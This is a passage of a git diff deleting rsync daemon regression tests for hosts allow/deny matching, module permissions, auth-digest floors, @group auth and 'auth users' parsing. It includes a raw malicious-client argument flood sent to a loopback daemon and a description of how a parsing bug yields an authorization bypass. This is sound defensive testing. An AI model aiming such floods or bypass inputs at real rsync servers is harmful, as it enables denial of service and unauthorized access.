the daemon agrees they don't match.)\n-    ('idn-nfd',       {'hosts allow': 'c\\u030ci' 'c\\u030cku.example'}),\n-    # Tokens whose IDNA mapping yields ASCII the author never wrote.  Left\n-    # unconverted they match nothing; converted blindly, the first two would\n-    # allow every host and the third would read as an address/mask.\n-    ('wide-star',     {'hosts allow': FW_STAR}),\n-    ('wide-star-dom', {'hosts allow': FW_STAR + '.example'}),\n-    ('wide-mask',     {'hosts allow': '127.0.0.0' + FW_SLASH + '8'}),\n-    # An IDN that can't be converted at all (its label maps to nothing).\n-    ('bad-idn',       {'hosts allow': ZWSP + '.example'}),\n-]\n-\n-conf = write_conf(SCRATCHDIR / 'access-idn.conf', modules,\n-                  SCRATCHDIR / 'rsyncd.log', SCRATCHDIR / 'rsyncd.pid')\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-\n-def connect(mod):\n-    \"\"\"Return rsync's exit code for listing the module over the daemon.\"\"\"\n-    return subprocess.run(rsync_argv('-r', f'{url}{mod}/'),\n-                          stdout=subprocess.DEVNULL, stderr=subprocess.PIPE,\n-                          text=True).returncode\n-\n-\n-def allowed(mod, why):\n-    if connect(mod) != 0:\n-        test_fail(f\"connection to {mod} should be ALLOWED ({why}) but was refused\")\n-\n-\n-def denied(mod, why):\n-    if connect(mod) == 0:\n-        test_fail(f\"connection to {mod} should be DENIED ({why}) but succeeded\")\n-\n-\n-allowed('ascii-name', \"the peer's own name in a hosts allow\")\n-allowed('ascii-upper', \"hostname matching is case-insensitive\")\n-allowed('ascii-wild', \"an ASCII wildcard still matches\")\n-allowed('idn-name', f\"fullwidth {peer!r} folds to the peer's name\")\n-allowed('idn-mixedcase', \"IDNA case-folds the token\")\n-denied('idn-deny', \"hosts deny sees the folded token too\")\n-denied('idn-other', \"a different IDN must not match the peer\")\n-denied('idn-puny', \"an A-label for a different host must not match the peer\")\n-denied('idn-nfd', \"a decomposed spelling of that name must not match either\")\n-denied('wide-star', \"U+FF0A must not become a '*' that allows every host\")\n-denied('wide-star-dom', \"U+FF0A must not become a wildcard label\")\n-denied('wide-mask', \"U+FF0F must not become an address/mask separator\")\n-denied('bad-idn', \"an unconvertible IDN must not match anything\")\n-\n-print(\"daemon-access-idn: IDN hosts allow/deny matching + no wildcard widening\")\ndiff --git a/testsuite/daemon-access-ip_test.py b/testsuite/daemon-access-ip_test.py\ndeleted file mode 100644\nindex 52d6166..0000000\n--- a/testsuite/daemon-access-ip_test.py\n+++ /dev/null\n@@ -1,64 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon coverage: hosts allow / hosts deny IP and CIDR matching (access.c).\n-\n-access.c's make_mask / match_address / match_binary only run for a real TCP\n-peer matched against a numeric hosts allow/deny pattern -- so this needs\n---use-tcp (the loopback peer is 127.0.0.1). Verifies that exact-IP and CIDR\n-allow patterns permit the connection while a CIDR deny / a non-matching allow\n-refuse it.\n-\n-The config sets NO global hosts allow: an inherited global allow-list would\n-match (e.g. via \"localhost\") and short-circuit before a module's deny is\n-consulted, so the per-module patterns must be the sole decider here.\n-\"\"\"\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR,\n-    make_tree, require_tcp, rmtree, rsync_argv, start_test_daemon, test_fail,\n-)\n-\n-DAEMON_PORT = 12892\n-require_tcp(\"hosts allow/deny address matching needs a real TCP peer\")\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=2)\n-\n-conf = SCRATCHDIR / 'access-ip.conf'\n-conf.write_text(\n-    f\"pid file = {SCRATCHDIR}/rsyncd.pid\\n\"\n-    \"use chroot = no\\n\"\n-    f\"log file = {SCRATCHDIR}/rsyncd.log\\n\"\n-    f\"\\n[allow-exact]\\n\\tpath = {src}\\n\\tread only = yes\\n\\thosts allow = 127.0.0.1\\n\"\n-    f\"\\n[allow-cidr]\\n\\tpath = {src}\\n\\tread only = yes\\n\\thosts allow = 127.0.0.0/8\\n\"\n-    f\"\\n[deny-cidr]\\n\\tpath = {src}\\n\\tread only = yes\\n\\thosts deny = 127.0.0.0/8\\n\"\n-    f\"\\n[allow-other]\\n\\tpath = {src}\\n\\tread only = yes\\n\\thosts allow = 10.0.0.0/8\\n\"\n-)\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-\n-def connect(mod):\n-    \"\"\"Return rsync's exit code for listing the module over the daemon.\"\"\"\n-    return subprocess.run(rsync_argv('-r', f'{url}{mod}/'),\n-                          stdout=subprocess.DEVNULL, stderr=subprocess.PIPE,\n-                          text=True).returncode\n-\n-\n-for mod in ('allow-exact', 'allow-cidr'):\n-    if connect(mod) != 0:\n-        test_fail(f\"connection to {mod} should be ALLOWED but was refused\")\n-for mod in ('deny-cidr', 'allow-other'):\n-    if connect(mod) == 0:\n-        test_fail(f\"connection to {mod} should be DENIED but succeeded\")\n-\n-# Client --address binds the outgoing socket to a local address (socket.c\n-# try_bind_local) before connecting to the daemon.\n-proc = subprocess.run(\n-    rsync_argv('-r', '--address=127.0.0.1', f'{url}allow-cidr/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True)\n-if proc.returncode != 0:\n-    test_fail(f\"--address=127.0.0.1 client connection failed: {proc.stderr}\")\n-\n-print(\"daemon-access-ip: hosts allow/deny matching + client --address verified\")\ndiff --git a/testsuite/daemon-access_test.py b/testsuite/daemon-access_test.py\ndeleted file mode 100644\nindex fe07a49..0000000\n--- a/testsuite/daemon-access_test.py\n+++ /dev/null\n@@ -1,82 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon coverage: module path, read only, write only, list.\n-\n-Drives a loopback daemon (secure stdio-pipe transport by default) and checks\n-the access-control parameters, transferring a >=3-deep tree through each module\n-and pulling a deep sub-path to exercise in-module path resolution.\n-\"\"\"\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, TODIR,\n-    assert_same, make_tree, makepath, rmtree, rsync_argv, run_rsync,\n-    start_test_daemon, test_fail, verify_dirs, walk_files, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12886\n-\n-src = FROMDIR\n-rwdir = SCRATCHDIR / 'rwdest'\n-wodir = SCRATCHDIR / 'wodest'\n-pulld = SCRATCHDIR / 'pulled'\n-for d in (rwdir, wodir, pulld, TODIR):\n-    rmtree(d)\n-makepath(rwdir, wodir)\n-rmtree(src)\n-make_tree(src, depth=3)\n-rels = [p.relative_to(src) for p in walk_files(src)]\n-\n-conf = write_daemon_conf([\n-    ('ro',     {'path': src,   'read only': 'yes', 'comment': 'r/o'}),\n-    ('rw',     {'path': rwdir, 'read only': 'no',  'comment': 'r/w'}),\n-    ('wo',     {'path': wodir, 'read only': 'no',  'write only': 'yes'}),\n-    ('hidden', {'path': src,   'list': 'no'}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-\n-def fails(args, what):\n-    proc = subprocess.run(rsync_argv(*args),\n-                          stdout=subprocess.DEVNULL, stderr=subprocess.PIPE,\n-                          text=True)\n-    if proc.returncode == 0:\n-        test_fail(f\"{what} unexpectedly succeeded\")\n-    return proc.stderr\n-\n-\n-# --- read only module: pull works (deep), push refused ----------------------\n-run_rsync('-a', f'{url}ro/', f'{pulld}/', check=False)   # codes 0/23 ok\n-for rel in rels:\n-    assert_same(pulld / rel, src / rel, label=f'pull ro {rel}')\n-# deep sub-path pull\n-rmtree(pulld)\n-makepath(pulld)\n-run_rsync('-a', f'{url}ro/d1/d2/', f'{pulld}/', check=False)\n-assert_same(pulld / 'f2', src / 'd1' / 'd2' / 'f2', label='deep sub-path pull')\n-fails(['-a', f'{src}/', f'{url}ro/'], \"push to a read-only module\")\n-\n-# --- read/write module: push works at depth ---------------------------------\n-run_rsync('-a', f'{src}/', f'{url}rw/', check=False)\n-verify_dirs(src, rwdir, label=\"push to rw module\")\n-\n-# --- write only module: push works, pull refused ----------------------------\n-run_rsync('-a', f'{src}/', f'{url}wo/', check=False)\n-verify_dirs(src, wodir, label=\"push to wo module\")\n-fails(['-a', f'{url}wo/', f'{pulld}/'], \"pull from a write-only module\")\n-\n-# --- list: hidden module absent from the listing, ro/rw/wo present ----------\n-proc = subprocess.run(rsync_argv(url), capture_output=True, text=True)\n-listing = proc.stdout\n-for m in ('ro', 'rw', 'wo'):\n-    if m not in listing:\n-        test_fail(f\"module {m} missing from the daemon listing:\\n{listing}\")\n-if 'hidden' in listing:\n-    test_fail(f\"list=no module leaked into the listing:\\n{listing}\")\n-# ...but the hidden module is still usable by name.\n-rmtree(pulld)\n-makepath(pulld)\n-run_rsync('-a', f'{url}hidden/f0', f'{pulld}/', check=False)\n-assert_same(pulld / 'f0', src / 'f0', label='hidden module usable by name')\n-\n-print(\"daemon-access: read only / write only / list / deep paths verified\")\ndiff --git a/testsuite/daemon-argv-limit_test.py b/testsuite/daemon-argv-limit_test.py\ndeleted file mode 100644\nindex 58e1ad6..0000000\n--- a/testsuite/daemon-argv-limit_test.py\n+++ /dev/null\n@@ -1,46 +0,0 @@\n-#!/usr/bin/env python3\n-import socket\n-\n-from rsyncfns import SCRATCHDIR, claim_ports, require_tcp, start_rsyncd, test_fail\n-\n-PORT = 12934\n-require_tcp(\"raw malicious daemon client needs a real TCP daemon; run with --use-tcp\")\n-claim_ports(PORT)\n-\n-mod = SCRATCHDIR / 'argv-mod'\n-mod.mkdir(parents=True, exist_ok=True)\n-conf = SCRATCHDIR / 'argv-limit.conf'\n-log = SCRATCHDIR / 'argv-limit.log'\n-conf.write_text(f\"\"\"\\\n-pid file = {SCRATCHDIR}/rsyncd.pid\n-use chroot = no\n-log file = {log}\n-\n-[mod]\n-    path = {mod}\n-    read only = yes\n-\"\"\")\n-start_rsyncd(conf, PORT)\n-\n-with socket.create_connection(('127.0.0.1', PORT), timeout=5) as s:\n-    greeting = s.recv(4096)\n-    if not greeting.startswith(b'@RSYNCD:'):\n-        test_fail(f\"unexpected daemon greeting: {greeting!r}\")\n-    s.sendall(b'@RSYNCD: 31.0\\n')\n-    s.sendall(b'mod\\n')\n-    ok = s.recv(4096)\n-    if b'@RSYNCD: OK' not in ok:\n-        test_fail(f\"daemon did not accept test module: {ok!r}\")\n-\n-    payload = b''.join(b'a%05d\\0' % i for i in range(17000)) + b'\\0'\n-    s.sendall(payload)\n-    try:\n-        s.recv(4096)\n-    except (ConnectionResetError, BrokenPipeError):\n-        pass\n-\n-text = log.read_text(errors='replace')\n-if 'too many daemon arguments' not in text:\n-    test_fail(\"daemon did not reject the malicious client's oversized argv list\")\n-\n-print(\"daemon-argv-limit: malicious client argv flood is rejected\")\ndiff --git a/testsuite/daemon-auth-digest-floor_test.py b/testsuite/daemon-auth-digest-floor_test.py\ndeleted file mode 100644\nindex a8c4111..0000000\n--- a/testsuite/daemon-auth-digest-floor_test.py\n+++ /dev/null\n@@ -1,139 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon 'auth digest' floor: refuse an auth digest weaker than a configured minimum.\n-\n-The daemon picks the auth challenge-response digest from the client's\n-negotiation, or -- for a peer that sends no digest list (any rsync older than\n-3.2.0, e.g. the macOS openrsync) -- falls back to md5 (proto >= 30) or md4.  So\n-an on-path downgrade, or simply an old client, can pin the auth exchange to\n-md5/md4, making a captured response far cheaper to brute-force offline.\n-'auth digest = NAME' lets the operator require at least NAME (strongest-first\n-order: sha512 sha256 sha1 md5 md4); a connection whose negotiated digest is\n-weaker -- or a misconfigured floor naming an unknown digest -- is refused before\n-the challenge.  Default off (no floor).\n-\n-Coverage:\n-  * a default (modern) client negotiates sha512 and clears an 'auth digest =\n-    sha256' floor;\n-  * a floor naming a digest this build doesn't have is fail-closed (rejects even\n-    a strong client) -- portable, proves the floor actually enforces;\n-  * a genuine pre-3.2.0 client (no digest list -> md5 fallback) is accepted by a\n-    no-floor module but refused by the sha256 floor (the real downgrade case) --\n-    gated on a bundled old static rsync, which is export-ignored from the fleet\n-    git-archive, so it's only exercised where that binary is present.\n-\"\"\"\n-\n-import os\n-import shlex\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, RSYNC, SCRATCHDIR, SRCDIR,\n-    make_tree, makepath, rmtree, run_rsync, rsync_argv, start_test_daemon,\n-    test_fail, test_skipped, write_daemon_conf, split_rsync_cmd,\n-)\n-\n-DAEMON_PORT = 12953\n-\n-# Requiring a strong auth digest needs a build that has one.\n-vv = run_rsync('-VV', check=True, capture_output=True).stdout\n-if '\"sha256\"' not in vv or '\"sha512\"' not in vv:\n-    test_skipped(\"rsync built without sha256/sha512 daemon-auth digests \"\n-                 \"(no openssl); cannot require a strong auth digest\")\n-\n-# Never fall back to an interactive getpass() on a missing password (it reads\n-# /dev/tty and would hang the harness) -- see daemon-auth_test.py.\n-os.environ['RSYNC_PASSWORD'] = 'env-fallback-wrong'\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=3)\n-\n-floordir = SCRATCHDIR / 'floordest'\n-nofloordir = SCRATCHDIR / 'nofloordest'\n-badfloordir = SCRATCHDIR / 'badfloordest'\n-secrets = SCRATCHDIR / 'rsyncd.secrets'\n-secrets.write_text('tuser:secretpass\\n')\n-secrets.chmod(0o600)\n-\n-pw = SCRATCHDIR / 'pw.ok'\n-pw.write_text('secretpass\\n')\n-pw.chmod(0o600)\n-\n-conf = write_daemon_conf([\n-    ('floor', {'path': floordir, 'read only': 'no',\n-               'auth users': 'tuser', 'secrets file': secrets,\n-               'auth digest': 'sha256'}),\n-    ('nofloor', {'path': nofloordir, 'read only': 'no',\n-                 'auth users': 'tuser', 'secrets file': secrets}),\n-    ('badfloor', {'path': badfloordir, 'read only': 'no',\n-                  'auth users': 'tuser', 'secrets file': secrets,\n-                  'auth digest': 'no-such-digest'}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-userurl = url.replace('rsync://', 'rsync://tuser@', 1)\n-\n-\n-def push(module, dest, rsync_cmd=None):\n-    rmtree(dest)\n-    makepath(dest)\n-    argv = rsync_argv('-a', f'--password-file={pw}', f'{src}/', f'{userurl}{module}/')\n-    if rsync_cmd:\n-        # Replace the whole RSYNC wrapper (which under --valgrind is\n-        # 'valgrind <opts> .../rsync', not a bare binary) with the old static\n-        # rsync; keep only the transfer args that rsync_argv appended.  The old\n-        # fixture binary is run directly, not under valgrind.\n-        argv = [rsync_cmd] + list(argv[len(split_rsync_cmd(RSYNC)):])\n-    return subprocess.run(argv, stdout=subprocess.DEVNULL,\n-                          stderr=subprocess.PIPE, text=True)\n-\n-\n-# --- a strong (default) client clears the floor -----------------------------\n-proc = push('floor', floordir)\n-if proc.returncode not in (0, 23):\n-    test_fail(\"a default client (negotiates sha512) was refused by the \"\n-              f\"'auth digest = sha256' floor: {proc.stderr}\")\n-\n-# --- a floor naming an unknown digest is fail-closed (portable reject) -------\n-proc = push('badfloor', badfloordir)\n-if proc.returncode == 0 or 'auth failed' not in proc.stderr:\n-    test_fail(\"a module whose 'auth digest' names an unsupported digest must \"\n-              \"refuse auth (fail-closed) with an auth-failure error, not just a \"\n-              f\"transfer failure: rc={proc.returncode} stderr={proc.stderr!r}\")\n-\n-# --- real downgrade: a pre-3.2.0 client (md5 fallback) vs the floor ----------\n-old_rsync = SRCDIR / 'old_versions' / 'rsync_3.1.3'\n-if not old_rsync.is_file() or not os.access(old_rsync, os.X_OK):\n-    print(\"daemon auth-digest floor: strong client accepted, bad-floor refused; \"\n-          \"skipped the md5-downgrade case (no old_versions/rsync_3.1.3 here)\")\n-    raise SystemExit(0)\n-\n-# The static rsync_3.1.3 is a Linux binary; confirm it actually runs on this\n-# OS/arch before depending on it (a full checkout ships it even on BSD/macOS,\n-# where exec raises OSError or it won't print the rsync banner) -- skip the\n-# md5-downgrade case there rather than failing the whole test.\n-try:\n-    probe = subprocess.run([str(old_rsync), '--version'],\n-                           stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-    runs = probe.returncode == 0 and 'version 3.1.3' in probe.stdout\n-except OSError:\n-    runs = False\n-if not runs:\n-    print(\"daemon auth-digest floor: strong client accepted, bad-floor refused; \"\n-          \"skipped the md5-downgrade case (rsync_3.1.3 does not run on this OS/arch)\")\n-    raise SystemExit(0)\n-\n-# Control: the old (md5-auth) client authenticates fine against a no-floor module.\n-proc = push('nofloor', nofloordir, rsync_cmd=str(old_rsync))\n-if proc.returncode not in (0, 23):\n-    test_fail(\"control failed: a pre-3.2.0 (md5-auth) client could not \"\n-              f\"authenticate even without an auth-digest floor: {proc.stderr}\")\n-\n-# The floor refuses that same md5 client.\n-proc = push('floor', floordir, rsync_cmd=str(old_rsync))\n-if proc.returncode == 0 or 'auth failed' not in proc.stderr:\n-    test_fail(\"the 'auth digest = sha256' floor did NOT refuse (with an \"\n-              \"auth-failure error) a pre-3.2.0 client whose auth digest fell \"\n-              f\"back to md5: rc={proc.returncode} stderr={proc.stderr!r}\")\n-\n-print(\"daemon auth-digest floor: strong client accepted, bad-floor refused, \"\n-      \"md5-downgraded old client refused\")\ndiff --git a/testsuite/daemon-auth-group_test.py b/testsuite/daemon-auth-group_test.py\ndeleted file mode 100644\nindex 1d3820c..0000000\n--- a/testsuite/daemon-auth-group_test.py\n+++ /dev/null\n@@ -1,171 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon coverage: `auth users = @group` matching and `gid = *`.\n-\n-daemon-auth_test.py covers plain username auth; this exercises the\n-`@group` branch in authenticate.c auth_server() (lines ~362-395), which\n-resolves the connecting username to a uid (user_to_uid), enumerates that\n-uid's groups via uidlist.c getallgroups() -> getgrouplist(), and\n-wildmatches each group name against the @pattern.  Also covers\n-clientserver.c want_all_groups() via a `gid = *` module, and\n-uidlist.c is_in_group() via a non-root receiver child.\n-\n-Needs real passwd/group entries -- skips if `daemon` (or any non-root\n-user with a same-named primary group) isn't present.\n-\"\"\"\n-\n-import grp\n-import os\n-import platform\n-import pwd\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR,\n-    make_tree, makepath, owners_supported, rmtree, rsync_argv,\n-    start_test_daemon, test_fail, test_skipped, write_daemon_conf,\n-)\n-\n-# This covers the @group / getgrouplist daemon-auth path, which depends on the\n-# group membership of system users (daemon/bin/nobody).  That membership and the\n-# group-name matching differ enough on the BSDs/Solaris/macOS that the test's\n-# fixed expectations don't hold there; it is a Linux daemon-coverage test.\n-if platform.system() != 'Linux':\n-    test_skipped(\"@group daemon-auth coverage is Linux-specific\")\n-\n-DAEMON_PORT = 12892\n-os.environ['RSYNC_PASSWORD'] = 'env-fallback-wrong'  # never prompt\n-\n-# Find a non-root user whose PRIMARY group name we can wildmatch on -- on a\n-# minimal Debian/gcc image that's `daemon` (uid 1, gid 1, group \"daemon\").\n-# We need the user to exist in passwd (for user_to_uid + getgrouplist) and\n-# its primary gid to resolve to a name (for gid_to_group).\n-def pick_user():\n-    for name in ('daemon', 'bin', 'nobody'):\n-        try:\n-            p = pwd.getpwnam(name)\n-            g = grp.getgrgid(p.pw_gid)\n-            if p.pw_uid != 0:\n-                return p, g\n-        except KeyError:\n-            continue\n-    return None, None\n-\n-U, G = pick_user()\n-if U is None:\n-    test_skipped(\"no suitable non-root passwd entry for @group auth\")\n-\n-# A second user NOT in U's group, for the negative case.\n-def pick_outsider():\n-    for p in pwd.getpwall():\n-        if p.pw_uid in (0, U.pw_uid):\n-            continue\n-        try:\n-            if G.gr_gid != p.pw_gid and U.pw_name not in grp.getgrgid(p.pw_gid).gr_mem:\n-                return p\n-        except KeyError:\n-            continue\n-    return None\n-\n-OUT = pick_outsider()\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=2)\n-\n-secrets = SCRATCHDIR / 'group.secrets'\n-lines = [f'{U.pw_name}:upass', 'root:rpass']\n-if OUT:\n-    lines.append(f'{OUT.pw_name}:opass')\n-secrets.write_text('\\n'.join(lines) + '\\n')\n-secrets.chmod(0o600)\n-\n-dest_g = SCRATCHDIR / 'dest-gauth'\n-dest_star = SCRATCHDIR / 'dest-gidstar'\n-dest_nonroot = SCRATCHDIR / 'dest-nonroot'\n-makepath(dest_g, dest_star, dest_nonroot)\n-# The non-root receiver child (uid=U) must be able to write its dest, which\n-# needs a cross-uid chown -- i.e. root.  Skip cleanly when we can't.\n-if not owners_supported():\n-    test_skipped(\"needs chown to set up the non-root-owned dest tree\")\n-os.chown(dest_nonroot, U.pw_uid, U.pw_gid)\n-\n-mods = [\n-    # @group auth: U matches its own primary group exactly; root matches the\n-    # wildcard `@ro*` (group \"root\") and gets :ro; anyone else is denied.\n-    ('gauth', {\n-        'path': str(dest_g), 'read only': 'no', 'use chroot': 'no',\n-        'auth users': f'@{G.gr_name}, @ro*:ro',\n-        'secrets file': str(secrets), 'strict modes': 'no',\n-    }),\n-    # gid = * -> clientserver.c want_all_groups() -> uidlist.c getallgroups().\n-    ('gidstar', {\n-        'path': str(dest_star), 'read only': 'no', 'use chroot': 'no',\n-        'uid': '0', 'gid': '*',\n-    }),\n-]\n-# Non-root receiver (am_root==0 in the child) -> recv_add_id() for gids calls\n-# uidlist.c is_in_group(). Only when we can chown the dest and setuid.\n-if owners_supported():\n-    mods.append(('nonroot', {\n-        'path': str(dest_nonroot), 'read only': 'no', 'use chroot': 'no',\n-        'uid': str(U.pw_uid), 'gid': str(U.pw_gid),\n-    }))\n-\n-conf = write_daemon_conf(mods, name='auth-group.conf')\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-\n-def pwfile(name, text):\n-    p = SCRATCHDIR / name\n-    p.write_text(text)\n-    p.chmod(0o600)\n-    return p\n-\n-\n-def push(user, pw, module, *extra):\n-    return subprocess.run(\n-        rsync_argv('-r', f'--password-file={pw}', *extra,\n-                   f'{src}/', url.replace('rsync://', f'rsync://{user}@', 1) + f'{module}/'),\n-        capture_output=True, text=True,\n-    )\n-\n-\n-# --- @group exact match: U is in group G -> allowed rw -----------------------\n-r = push(U.pw_name, pwfile('pw-u', 'upass'), 'gauth')\n-if r.returncode != 0:\n-    test_fail(f\"@{G.gr_name} should allow {U.pw_name!r} (rc={r.returncode}):\\n{r.stderr}\")\n-\n-# --- @group wildcard + :ro: root is in group \"root\" which matches @ro* ------\n-# The :ro suffix flips the module read-only for this user, so a push fails\n-# with \"module is read only\" -- proving the @ro* matched AND the suffix took.\n-r = push('root', pwfile('pw-r', 'rpass'), 'gauth')\n-if r.returncode == 0:\n-    test_fail(f\"@ro*:ro should make [gauth] read-only for root, but push succeeded\")\n-if 'read only' not in r.stderr:\n-    test_fail(f\"expected 'read only' for root@gauth (got rc={r.returncode}):\\n{r.stderr}\")\n-\n-# --- @group negative: outsider's primary group matches neither --------------\n-if OUT:\n-    r = push(OUT.pw_name, pwfile('pw-o', 'opass'), 'gauth')\n-    if r.returncode == 0:\n-        test_fail(f\"{OUT.pw_name!r} (group {grp.getgrgid(OUT.pw_gid).gr_name!r}) \"\n-                  f\"should NOT match @{G.gr_name}/@ro*, but push succeeded\")\n-    if 'auth failed' not in r.stderr:\n-        test_fail(f\"expected 'auth failed' for {OUT.pw_name!r}:\\n{r.stderr}\")\n-\n-# --- gid = * -> want_all_groups() -------------------------------------------\n-r = subprocess.run(rsync_argv('-r', f'{src}/', f'{url}gidstar/'),\n-                   capture_output=True, text=True)\n-if r.returncode != 0:\n-    test_fail(f\"push to [gidstar] (gid=*) failed (rc={r.returncode}):\\n{r.stderr}\")\n-\n-# --- non-root receiver -> is_in_group() -------------------------------------\n-if owners_supported():\n-    r = subprocess.run(rsync_argv('-rg', f'{src}/', f'{url}nonroot/'),\n-                       capture_output=True, text=True)\n-    if r.returncode != 0:\n-        test_fail(f\"push to [nonroot] (uid={U.pw_uid}) failed (rc={r.returncode}):\\n{r.stderr}\")\n-\n-print(f\"daemon-auth-group: @{G.gr_name} allow, @ro*:ro, \"\n-      f\"{'@-deny, ' if OUT else ''}gid=*, \"\n-      f\"{'non-root is_in_group' if owners_supported() else 'is_in_group SKIPPED (non-root)'}\")\ndiff --git a/testsuite/daemon-auth-users-comma-only_test.py b/testsuite/daemon-auth-users-comma-only_test.py\ndeleted file mode 100644\nindex 479da53..0000000\n--- a/testsuite/daemon-auth-users-comma-only_test.py\n+++ /dev/null\n@@ -1,180 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A leading comma in \"auth users\" must make splitting comma-only.\n-\n-rsyncd.conf(5) documents that when the auth users value starts with a comma,\n-splitting is done on commas ALONE, so an entry may contain spaces -- which is\n-how an NSS group name with a space is written:\n-\n-    auth users = ,@Group Name:deny, alice:rw\n-\n-auth_server() ignored that and always tokenised on commas AND whitespace\n-(strtok(users, \" ,\\\\t\")), so \"@Group Name:deny\" was torn into \"@Group\" and\n-\"Name:deny\": the group rule the administrator wrote never matched anything, and\n-a username rule they never wrote appeared out of its tail.\n-\n-The reported impact is an authorization BYPASS: a member of a denied group\n-evades the deny and matches a later :rw entry.  Both directions are covered.\n-\n-\"grpdeny\" drives the reported one without needing an NSS group whose name\n-contains a space, which a test cannot create: \"@[! []*\" is a wildmatch class\n-holding a space that matches any ordinary group name -- one with no \"/\" in it,\n-which wildmatch treats as a path separator -- whose first character is neither\n-a space nor a \"[\".  So the entry contains a space and still matches a real\n-group.  The \"[\" is excluded so that the tail left by a whitespace split,\n-\"[]*\", is an unterminated class that can match no name at all: with the\n-simpler \"[! ]*\" the tail is \"]*\", which would match (and deny) any user whose\n-name began with \"]\", letting the buggy parser produce the right refusal for\n-the wrong reason.\n-\n-\"spaced\" drives the identical defect in the direction that needs no groups:\n-\n-    auth users = ,@nosuchgroup alice:deny, alice:rw\n-\n-  * parsed as documented -- one entry \"@nosuchgroup alice:deny\" naming a group\n-    that does not exist, so no match, then \"alice:rw\" grants access.\n-  * parsed by splitting on whitespace -- \"@nosuchgroup\", then \"alice:deny\",\n-    which matches the username and refuses the transfer that should succeed.\n-\n-Either way the rule enforced is not the rule written.  Each direction has its\n-own control module proving the credential and the transfer itself are fine, and\n-the deny is checked against the daemon log rather than the client's output,\n-because a client is told only \"auth failed\" for every server-side reason alike.\n-\"\"\"\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, rsync_argv, start_test_daemon, test_fail,\n-    write_daemon_conf,\n-)\n-\n-PORT = 12949\n-USER = 'authuser'\n-PASSWORD = 'known-password'\n-DATA = 'AUTH-USERS-PARSE\\n'\n-\n-base = SCRATCHDIR / 'auth-users-comma-only'\n-rmtree(base)\n-src = base / 'src'\n-mod = base / 'mod'\n-ctrl = base / 'ctrl'\n-grp = base / 'grp'\n-grpc = base / 'grpc'\n-makepath(src, mod, ctrl, grp, grpc)\n-(src / 'f1').write_text(DATA)\n-\n-# The group half needs an auth name the daemon can resolve to a real uid, or\n-# getallgroups() finds nothing and no group rule can ever match.\n-import pwd\n-REALUSER = pwd.getpwuid(os.geteuid()).pw_name\n-\n-secrets = base / 'auth-users.secrets'\n-secrets.write_text(f'{USER}:{PASSWORD}\\n{REALUSER}:{PASSWORD}\\n')\n-secrets.chmod(0o600)\n-pwfile = base / 'auth-users.password'\n-pwfile.write_text(PASSWORD + '\\n')\n-pwfile.chmod(0o600)\n-\n-common = {\n-    'read only': 'no',\n-    'use chroot': 'no',\n-    'secrets file': str(secrets),\n-}\n-\n-conf = write_daemon_conf([\n-    # The documented comma-only form.  The first entry names a group that does\n-    # not exist, so only the second entry may decide the outcome.\n-    ('spaced', dict(common, path=str(mod),\n-                    **{'auth users': f',@nosuchgroup {USER}:deny, {USER}:rw'})),\n-    # Control: same credential, same transfer, no space in any entry.\n-    ('plain', dict(common, path=str(ctrl),\n-                   **{'auth users': f'{USER}:rw'})),\n-    # The reported direction: a group rule containing a space must DENY a member.\n-    # \"[! []*\" is a wildmatch class holding a space that matches any ordinary\n-    # group name whose first character is neither a space nor a \"[\" -- i.e. a\n-    # real group of REALUSER -- so the space is exercised without needing an\n-    # NSS group named with one.  (Ordinary: wildmatch reads \"/\" as a path\n-    # separator, so a group name containing one would not match either.)\n-    #   documented parse: one entry \"@[! []*:deny\" -> the deny fires\n-    #   whitespace parse: \"@[!\" (an unterminated class, so no group) plus\n-    #                     \"[]*:deny\" (likewise, so no user), and with neither\n-    #                     matching the later \":rw\" lets them in.\n-    # Positive control for the group half: \"@*\" matches any group, so this\n-    # only succeeds if the daemon resolved REALUSER to a uid, enumerated its\n-    # groups, accepted its secret and could store the file.  Without it a\n-    # grpdeny refusal could be any of those failing instead of the deny.\n-    ('grpctl', dict(common, path=str(grpc),\n-                    **{'auth users': f'@*:rw'})),\n-    ('grpdeny', dict(common, path=str(grp),\n-                     **{'auth users': f',@[! []*:deny, {REALUSER}:rw'})),\n-], name='auth-users-comma-only.conf')\n-url = start_test_daemon(conf, PORT)\n-\n-os.environ['RSYNC_PASSWORD'] = 'wrong-environment-fallback'\n-\n-\n-def push(module, dest_dir, as_user=USER):\n-    proc = subprocess.run(\n-        rsync_argv('-r', f'--password-file={pwfile}', f'{src}/',\n-                   url.replace('rsync://', f'rsync://{as_user}@', 1) + module + '/'),\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-    landed = dest_dir / 'f1'\n-    return proc, landed\n-\n-\n-# Control first: if this fails, nothing below means anything.\n-proc, landed = push('plain', ctrl)\n-if proc.returncode != 0 or not landed.is_file() or landed.read_text() != DATA:\n-    test_fail('positive control failed: the credential could not push to a '\n-              f'module with a plain \"auth users\" (rc={proc.returncode}, '\n-              f'output={proc.stdout.strip()[:300]!r})')\n-\n-proc, landed = push('spaced', mod)\n-ctx = f'rc={proc.returncode}, output={proc.stdout.strip()[:300]!r}'\n-if not landed.is_file():\n-    test_fail('\"auth users\" starting with a comma was split on whitespace: the '\n-              f'entry \"@nosuchgroup {USER}:deny\" names a group that does not '\n-              